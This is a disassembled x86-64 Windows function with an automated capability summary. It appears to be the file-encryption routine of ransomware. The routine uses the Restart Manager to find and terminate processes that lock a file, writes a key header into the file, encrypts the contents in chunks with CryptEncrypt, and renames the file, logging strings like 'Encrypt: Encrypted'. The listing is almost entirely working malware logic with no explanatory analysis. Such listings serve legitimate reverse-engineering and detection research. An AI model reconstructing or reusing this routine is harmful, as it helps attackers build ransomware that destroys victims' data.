Function at 0x1400180c0
Capabilities:
Create restart manager session
Encrypt or decrypt via wincrypt
Enumerate processes that use resource
Move file
Read file on windows
Terminate process
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x300
movaps xmmword [rax - 0x48], xmm6
movaps xmmword [rax - 0x58], xmm7
mov r14, rcx
mov qword [rsp + 0x68], rcx
xor esi, esi
mov rcx, qword [rcx + 0x10]
mov rdx, qword [0x140062e08]
movabs rax, 0x7ffffffffffffffe
sub rax, rcx
cmp rax, rdx
jb 0x140019103
mov r9, r14
cmp qword [r14 + 0x18], 7
jbe 0x140018119
mov r9, qword [r14]
lea rax, [0x140062df8]
cmp qword [0x140062e10], 7
cmova rax, qword [0x140062df8]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x170]
call fcn.140008a80
nop
mov rcx, r14
cmp qword [r14 + 0x18], 7
jbe 0x14001815a
mov rcx, qword [r14]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x58], rax
cmp rax, 0xffffffffffffffff
jne 0x14001841f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, r14
cmp qword [r14 + 0x18], 7
jbe 0x1400181a2
mov rdx, qword [r14]
mov r8d, eax
lea rcx, str.____Encrypt__Can_t_open:__s__error:_0x_X_n
call fcn.140001e00
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x20
je 0x1400181cb
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x21
jne 0x140019028
mov rax, r14
cmp qword [r14 + 0x18], 7
jbe 0x1400181d8
mov rax, qword [r14]
mov dword [rsp + 0x48], 0xffffffff
mov qword [rsp + 0x110], rax
mov edi, esi
mov dword [rsp + 0x358], esi
mov dword [rsp + 0x60], esi
mov dword [rsp + 0x64], esi
mov rbx, rsi
lea r8, [rsp + 0x270]
xor edx, edx
lea rcx, [rsp + 0x48]
call qword [sym.imp.RstrtMgr.DLL_RmStartSession]
test eax, eax
jne 0x14001833e
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [rsp + 0x110]
lea edx, [rax + 1]
mov ecx, dword [rsp + 0x48]
call qword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
mov r13, 0xffffffffffffffff
test eax, eax
jne 0x140018345
nop
lea rax, [rsp + 0x64]
mov qword [rsp + 0x20], rax
mov r9, rbx
lea r8, [rsp + 0x358]
lea rdx, [rsp + 0x60]
mov ecx, dword [rsp + 0x48]
call qword [sym.imp.RstrtMgr.DLL_RmGetList]
test eax, eax
je 0x1400182c6
cmp eax, 0xea
jne 0x14001832f
mov eax, dword [rsp + 0x60]
mov dword [rsp + 0x358], eax
test rbx, rbx
je 0x1400182a2
mov rcx, rbx
call fcn.140024e14
mov eax, dword [rsp + 0x358]
mov ecx, eax
mov eax, 0x29c
mul rcx
cmovo rax, r13
mov rcx, rax
call fcn.140024e60
mov rbx, rax
mov eax, edi
inc edi
cmp eax, 3
jb 0x140018250
jmp 0x14001832f
cmp dword [rsp + 0x64], 0
jne 0x14001832f
xor r8d, r8d
xor edx, edx
mov ecx, dword [rsp + 0x48]
call qword [sym.imp.RstrtMgr.DLL_RmShutdown]
test eax, eax
jne 0x14001832f
mov edi, esi
cmp dword [rsp + 0x358], esi
jbe 0x14001832f
nop dword [rax + rax]
mov eax, edi
imul r8, rax, 0x29c
mov r8d, dword [r8 + rbx]
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r15, rax
test rax, rax
je 0x140018324
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [rsp + 0x358]
jb 0x1400182f0
test rbx, rbx
je 0x140018345
mov rcx, rbx
call fcn.140024e14
jmp 0x140018345
mov r13, 0xffffffffffffffff
mov ecx, dword [rsp + 0x48]
cmp ecx, 0xffffffff
je 0x140018354
call qword [sym.imp.RstrtMgr.DLL_RmEndSession]
lea rcx, [rsp + 0x118]
call fcn.140015cf0
movabs rcx, 0x7fffffff1194d7ff
mov rax, qword [rsp + 0x118]
cmp rax, rcx
je 0x14001839b
setl cl
test cl, cl
je 0x14001839b
mov ecx, 0xee6b2800
add rcx, rax
mov qword [rsp + 0xe0], rcx
movabs r15, 0x7fffffffffffffff
jmp 0x1400183ad
movabs r15, 0x7fffffffffffffff
mov qword [rsp + 0xe0], r15
lea rcx, [rsp + 0xe0]
call fcn.14001f5e0
mov rcx, r14
cmp qword [r14 + 0x18], 7
jbe 0x1400183c7
mov rcx, qword [r14]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x58], rax
cmp rax, 0xffffffffffffffff
jne 0x140018430
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, r14
cmp qword [r14 + 0x18], 7
jbe 0x14001840b
mov rdx, qword [r14]
mov r8d, eax
lea rcx, str.____Encrypt__Can_t_open_after_unlock:__s__error:_0x_X_n
call fcn.140001e00
jmp 0x140019028
mov r13, 0xffffffffffffffff
movabs r15, 0x7fffffffffffffff
xor dil, dil
mov byte [rsp + 0x350], dil
mov byte [rsp + 0x348], dil
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xf8], xmm0
mov qword [rsp + 0x108], rsi
movdqu xmmword [rsp + 0xa8], xmm0
mov qword [rsp + 0xb8], rsi
lea rcx, [0x14006a098]
call sub.KERNEL32.dll_AcquireSRWLockShared
nop
lea rdx, [0x14006a0f0]
lea rcx, [rsp + 0xf8]
call fcn.140015050
lea rdx, [0x14006a108]
lea rcx, [rsp + 0xa8]
call fcn.140015050
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x40], rax
sub rax, qword [rsp + 0xa8]
cmp rax, 0x100
jne 0x1400184d4
mov rax, qword [rsp + 0x100]
sub rax, qword [rsp + 0xf8]
cmp rax, 0x10
jne 0x1400184d4
mov bl, 1
jmp 0x1400184d6
xor bl, bl
mov byte [rsp + 0x348], bl
jmp 0x14001850c
lea rcx, [0x14006a098]
call sub.KERNEL32.dll_ReleaseSRWLockShared
test bl, bl
je 0x140018f7d
lea rdi, [r14 + 0x20]
mov r12, qword [rdi]
cmp dword [0x140062c70], 0
je 0x14001859d
mov rcx, r14
cmp qword [r14 + 0x18], 7
jbe 0x14001853d
mov rcx, qword [r14]
call qword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
mov rcx, rax
mov qword [rsp + 0x70], rax
mov rbx, qword [0x140062d30]
mov rax, qword [0x140062d38]
cmp rbx, rax
je 0x14001858f
mov rdi, rax
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14001856e
mov rdx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x1400185eb
add rbx, 0x20
cmp rbx, rdi
mov rcx, qword [rsp + 0x70]
jne 0x140018561
mov rdi, qword [rsp + 0x68]
add rdi, 0x20
mov eax, dword [0x140062c70]
cmp qword [rdi], rax
jle 0x14001859d
mov r12d, eax
mov r8, qword [0x140062ce8]
mov rax, r8
mov rdx, qword [0x140062ce0]
sub rax, rdx
mov rbx, qword [rsp + 0x40]
sub rbx, qword [rsp + 0xa8]
add rax, 0x14
add rax, rbx
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x90], xmm0
mov qword [rsp + 0xa0], rsi
je 0x14001864c
cmp rax, r15
ja 0x140019109
jmp 0x1400185f6
mov rdi, qword [rsp + 0x68]
add rdi, 0x20
jmp 0x14001859d
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.140009a50
mov r15, qword [rsp + 0x90]
mov rdi, qword [rsp + 0x70]
add rdi, r15
mov qword [rsp + 0x40], rdi
mov r8, rdi
sub r8, r15
xor edx, edx
mov rcx, r15
call fcn.140047230
mov qword [rsp + 0x98], rdi
mov rdi, qword [rsp + 0x68]
add rdi, 0x20
mov r8, qword [0x140062ce8]
mov rdx, qword [0x140062ce0]
jmp 0x140018661
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x40], rax
mov r15, qword [rsp + 0x90]
sub r8, rdx
mov rcx, r15
call fcn.140046b90
mov rcx, qword [0x140062ce8]
sub rcx, qword [0x140062ce0]
add rcx, r15
mov r8, rbx
mov rdx, qword [rsp + 0xa8]
call fcn.140046b90
mov rax, qword [0x140062ce8]
sub rax, qword [0x140062ce0]
add rax, rbx
mov qword [rax + r15], r12
mov rcx, qword [0x140062ce8]
sub rcx, qword [0x140062ce0]
add rcx, rbx
mov eax, dword [0x14006a064]
mov dword [rcx + r15 + 8], eax
mov rcx, qword [0x140062ce8]
sub rcx, qword [0x140062ce0]
add rcx, rbx
mov eax, dword [0x140062c74]
mov dword [rcx + r15 + 0xc], eax
mov rcx, qword [0x140062ce8]
sub rcx, qword [0x140062ce0]
add rcx, rbx
mov eax, dword [0x14006a06c]
mov dword [rcx + r15 + 0x10], eax
mov qword [rsp + 0x150], rsi
mov qword [rsp + 0x158], rsi
mov qword [rsp + 0x168], rsi
mov eax, dword [rdi]
mov dword [rsp + 0x160], eax
mov eax, dword [r14 + 0x24]
mov dword [rsp + 0x164], eax
mov dword [rsp + 0x4c], esi
mov dword [rsp + 0x348], esi
mov rbx, qword [rsp + 0x40]
sub rbx, r15
lea rax, [rsp + 0x150]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4c]
mov r8d, ebx
mov rdx, r15
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140018ebb
mov eax, dword [rsp + 0x4c]
cmp rax, rbx
jne 0x140018ebb
mov eax, dword [0x140062c74]
mov rcx, r12
cmp r12, rax
cmovg rcx, rax
mov qword [rsp + 0x40], rcx
cmp rcx, 0x3b9aca00
jle 0x140018795
mov ecx, 0x3b9aca00
mov qword [rsp + 0x40], rcx
mov rbx, rsi
cmp dword [0x14006a054], 1
jne 0x140018c14
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x78], xmm0
mov qword [rsp + 0x88], rsi
psrldq xmm0, 8
movq qword [rsp + 0x80], xmm0
cmp rbx, r12
je 0x140018a86
mov rax, r12
sub rax, rbx
cmp rcx, rax
cmovl rax, rcx
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0xf8]
mov qword [rsp + 0x128], rcx
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x130], rcx
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x138], rcx
mov qword [rsp + 0x240], rax
mov qword [rsp + 0x248], rbx
movups xmm0, xmmword [rsp + 0x128]
movups xmmword [rsp + 0x250], xmm0
movsd xmm1, qword [rsp + 0x138]
movsd qword [rsp + 0x260], xmm1
mov ecx, 0x120
call fcn.140024e1c
mov rdi, rax
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0x240]
mov rcx, rax
call fcn.140020790
nop
lea rax, vtable.std::_Task_async_state_unsigned_long_int_.0
mov qword [rdi], rax
lea r15, [rdi + 0x110]
mov qword [r15], rsi
mov qword [r15 + 8], rsi
lea rax, [rsp + 0x1a8]
mov qword [rsp + 0x210], rax
call fcn.140016540
mov rcx, qword [rax + 8]
test rcx, rcx
je 0x140018898
lock inc dword [rcx + 8]
mov rcx, qword [rax]
mov qword [rsp + 0x140], rcx
mov rax, qword [rax + 8]
mov qword [rsp + 0x148], rax
mov qword [rsp + 0x1a8], rcx
mov qword [rsp + 0x1b0], rax
mov qword [rsp + 0x1b8], rcx
mov qword [rsp + 0x1c0], rsi
lea rcx, [rsp + 0x1c8]
call fcn.1400240e4
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x1e8], xmm0
mov qword [rsp + 0x1f8], rsi
mov qword [rsp + 0x1e0], rsi
mov byte [rsp + 0x1d8], 0
mov word [rsp + 0x200], 0
lea r8, [rsp + 0x1a8]
mov rdx, rdi
lea rcx, [rsp + 0x220]
call fcn.140020880
cmp r15, rax
je 0x140018932
mov rdx, rax
mov rcx, r15
call fcn.14001e750
mov r15, qword [rsp + 0x228]
test r15, r15
je 0x14001896c
mov eax, r13d
lock xadd dword [r15 + 8], eax
cmp eax, 1
jne 0x14001896c
mov rax, qword [r15]
mov rcx, r15
call qword [rax]
mov eax, r13d
lock xadd dword [r15 + 0xc], eax
cmp eax, 1
jne 0x14001896c
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 8]
mov byte [rdi + 0xc2], 1
mov qword [rsp + 0xe8], rdi
mov byte [rsp + 0xf0], 1
lock inc dword [rdi + 8]
mov eax, r13d
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x1400189b8
mov rcx, qword [rdi + 0xc8]
test rcx, rcx
je 0x1400189aa
mov rax, qword [rcx]
mov rdx, rdi
call qword [rax]
jmp 0x1400189b8
mov rax, qword [rdi]
mov edx, 1
mov rcx, rdi
call qword [rax]
nop
mov rax, qword [rsp + 0x80]
cmp rax, qword [rsp + 0x88]
je 0x1400189e7
mov rcx, rsi
mov qword [rsp + 0xe8], rcx
mov qword [rax], rdi
mov byte [rax + 8], 1
add qword [rsp + 0x80], 0x10
jmp 0x140018a09
lea r8, [rsp + 0xe8]
mov rdx, qword [rsp + 0x80]
lea rcx, [rsp + 0x78]
call fcn.14001f6b0
mov rcx, qword [rsp + 0xe8]
test rcx, rcx
je 0x140018a46
mov eax, r13d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x140018a46
mov rcx, qword [rsp + 0xe8]
mov r8, qword [rcx + 0xc8]
test r8, r8
je 0x140018a3c
mov rax, qword [r8]
mov rdx, rcx
mov rcx, r8
call qword [rax]
jmp 0x140018a46
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
add rbx, qword [rsp + 0x70]
mov r15, qword [rsp + 0x90]
cmp dword [0x14006a064], 1
je 0x140018a66
mov rcx, qword [rsp + 0x40]
jmp 0x1400187c4
mov rcx, r12
sub rcx, rbx
mov eax, dword [0x14006a06c]
cmp rax, rcx
cmovge rax, rcx
add rbx, rax
mov rcx, qword [rsp + 0x40]
jmp 0x1400187c4
mov rbx, rsi
mov rcx, rsi
mov qword [rsp + 0x50], rcx
mov rax, qword [rsp + 0x80]
mov rdi, qword [rsp + 0x78]
sub rax, rdi
sar rax, 4
cmp rcx, rax
jae 0x140018b6b
mov rax, rcx
shl rax, 4
add rax, rdi
mov rdi, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x230], rdi
mov byte [rsp + 0x238], 1
test rdi, rdi
je 0x14001910f
cmp byte [rdi + 0xb8], 0
jne 0x14001910f
mov rax, qword [rdi]
mov dl, 1
mov rcx, rdi
call qword [rax + 0x10]
mov r15d, dword [rax]
mov eax, r13d
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x140018b22
mov rcx, qword [rdi + 0xc8]
test rcx, rcx
je 0x140018b15
mov rax, qword [rcx]
mov rdx, rdi
call qword [rax]
jmp 0x140018b22
mov rax, qword [rdi]
mov edx, 1
mov rcx, rdi
call qword [rax]
test r15d, r15d
je 0x140018b5e
add rbx, r15
cmp dword [0x14006a064], 1
jne 0x140018b49
mov rcx, r12
sub rcx, rbx
mov eax, dword [0x14006a06c]
cmp rax, rcx
cmovge rax, rcx
add rbx, rax
mov rcx, qword [rsp + 0x50]
inc rcx
mov r15, qword [rsp + 0x90]
jmp 0x140018a8c
mov r15, qword [rsp + 0x90]
mov rdi, qword [rsp + 0x78]
test rdi, rdi
je 0x140018e63
cmp rdi, qword [rsp + 0x80]
je 0x140018bd3
nop
mov rcx, qword [rdi]
test rcx, rcx
je 0x140018bb8
mov eax, r13d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x140018bb8
mov r8, qword [rcx + 0xc8]
test r8, r8
je 0x140018bae
mov rax, qword [r8]
mov rdx, rcx
mov rcx, r8
call qword [rax]
jmp 0x140018bb8
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
add rdi, 0x10
cmp rdi, qword [rsp + 0x80]
jne 0x140018b80
mov r15, qword [rsp + 0x90]
mov rdi, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x88]
sub rdx, rdi
and rdx, 0xfffffffffffffff0
mov rax, rdi
cmp rdx, 0x1000
jb 0x140018c07
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001911a
mov rcx, rdi
call fcn.140024e14
jmp 0x140018e63
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0x190]
call fcn.140014e60
nop
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x358], rcx
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xc0], xmm0
mov rax, rsi
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xd0], rax
test rcx, rcx
je 0x140018ca9
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x140019120
mov rdx, rcx
lea rcx, [rsp + 0xc0]
call fcn.140009a50
mov r13, qword [rsp + 0xc0]
mov r8, qword [rsp + 0x358]
xor edx, edx
mov rcx, r13
call fcn.140047230
mov rcx, qword [rsp + 0x40]
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x50], rax
jmp 0x140018cb1
mov r13, qword [rsp + 0xc0]
test r12, r12
je 0x140018e07
movsd xmm6, qword [0x140058090]
movsd xmm7, qword [0x140058098]
nop word [rax + rax]
mov qword [rsp + 0xc0], rsi
mov qword [rsp + 0xc8], rsi
mov qword [rsp + 0xd8], rsi
mov dword [rsp + 0xd0], ebx
mov rax, rbx
shr rax, 0x20
mov dword [rsp + 0xd4], eax
mov rdi, r12
sub rdi, rbx
cmp rcx, rdi
cmovl rdi, rcx
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x348]
mov r8d, edi
mov rdx, r13
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140018e07
mov ecx, dword [rsp + 0x348]
cmp rcx, rdi
jne 0x140018e07
xorps xmm0, xmm0
cvtsi2sd xmm0, rcx
mulsd xmm0, xmm6
call fcn.140046a0c
mulsd xmm0, xmm7
cvttsd2si rax, xmm0
mov dword [rsp + 0x358], eax
test eax, eax
je 0x140018d9d
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0x358]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x198]
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x140018e07
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4c]
mov r8d, dword [rsp + 0x348]
mov rdx, r13
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140018e07
mov eax, dword [rsp + 0x348]
cmp dword [rsp + 0x4c], eax
jne 0x140018e07
add rbx, rdi
cmp dword [0x14006a064], 1
jne 0x140018df8
mov rcx, r12
sub rcx, rbx
mov eax, dword [0x14006a06c]
cmp rax, rcx
cmovge rax, rcx
add rbx, rax
cmp rbx, r12
je 0x140018e07
mov rcx, qword [rsp + 0x40]
jmp 0x140018cd0
test r13, r13
je 0x140018e45
mov rcx, qword [rsp + 0x50]
sub rcx, r13
mov rax, r13
cmp rcx, 0x1000
jb 0x140018e39
add rcx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019125
mov rdx, rcx
mov rcx, r13
call fcn.140024e14
nop
mov rcx, qword [rsp + 0x198]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
xor edx, edx
mov rcx, qword [rsp + 0x190]
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
cmp rbx, r12
jne 0x140018e8a
mov rdx, r14
mov rax, qword [rsp + 0x68]
cmp qword [rax + 0x18], 7
jbe 0x140018e7a
mov rdx, qword [r14]
lea rcx, str.___Encrypt__Encrypted:__s_n
call fcn.140001e00
mov bl, 1
jmp 0x140018ee5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, r14
mov rcx, qword [rsp + 0x68]
cmp qword [rcx + 0x18], 7
jbe 0x140018ea2
mov rdx, qword [r14]
mov qword [rsp + 0x20], r12
mov r9, rbx
mov r8d, eax
lea rcx, str.____Encrypt__Not_encrypted:__s__error:_0x_X___lld____lld_n
call fcn.140001e00
jmp 0x140018edd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, r14
cmp qword [r14 + 0x18], 7
jbe 0x140018ece
mov rdx, qword [r14]
mov r8d, eax
lea rcx, str.____Encrypt__Can_t_write_information:__s__error:_0x_X_n
call fcn.140001e00
movzx ebx, byte [rsp + 0x350]
test r15, r15
je 0x140018f22
mov rdx, qword [rsp + 0xa0]
sub rdx, r15
mov rax, r15
cmp rdx, 0x1000
jb 0x140018f1a
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001912b
mov rcx, r15
call fcn.140024e14
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x140018fa2
lea rdx, [rsp + 0x170]
cmp qword [rsp + 0x188], 7
cmova rdx, qword [rsp + 0x170]
mov rcx, r14
cmp qword [r14 + 0x18], 7
jbe 0x140018f58
mov rcx, qword [r14]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x140018fa2
mov rdx, r14
cmp qword [r14 + 0x18], 7
jbe 0x140018f6f
mov rdx, qword [r14]
lea rcx, str.____Encrypt__Not_moved:__s_n
call fcn.140001e00
jmp 0x140018fa2
mov rdx, r14
cmp qword [r14 + 0x18], 7
jbe 0x140018f8a
mov rdx, qword [r14]
lea rcx, str.____Encrypt__Can_t_run_for:__s_n
call fcn.140001e00
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rsp + 0xa8]
test rcx, rcx
je 0x140018fe5
mov rdx, qword [rsp + 0xb8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018fdf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019131
call fcn.140024e14
nop
mov rcx, qword [rsp + 0xf8]
test rcx, rcx
je 0x140019028
mov rdx, qword [rsp + 0x108]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019022
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019137
call fcn.140024e14
nop
mov rdx, qword [rsp + 0x188]
cmp rdx, 7
jbe 0x140019071
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001906b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001913d
call fcn.140024e14
nop
jmp 0x14001907d
test r14, r14
je 0x1400190da
mov rdx, qword [r14 + 0x18]
cmp rdx, 7
jbe 0x1400190bd
lea rdx, [rdx*2 + 2]
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x1400190b8
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400190fd
mov rcx, r8
call fcn.140024e14
mov qword [r14 + 0x10], rsi
mov qword [r14 + 0x18], 7
mov word [r14], si
mov edx, 0x28
mov rcx, r14
call fcn.140024e14
movaps xmm6, xmmword [rsp + 0x2f0]
movaps xmm7, xmmword [rsp + 0x2e0]
add rsp, 0x300
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
call fcn.140036164
nop
call fcn.1400016e0
nop
call fcn.1400062f0
nop
mov ecx, 4
call fcn.140017a40
nop
call fcn.140036164
nop
call fcn.1400062f0
call fcn.140036164
nop
call fcn.140036164
nop
call fcn.140036164
nop
call fcn.140036164
nop
call fcn.140036164
int3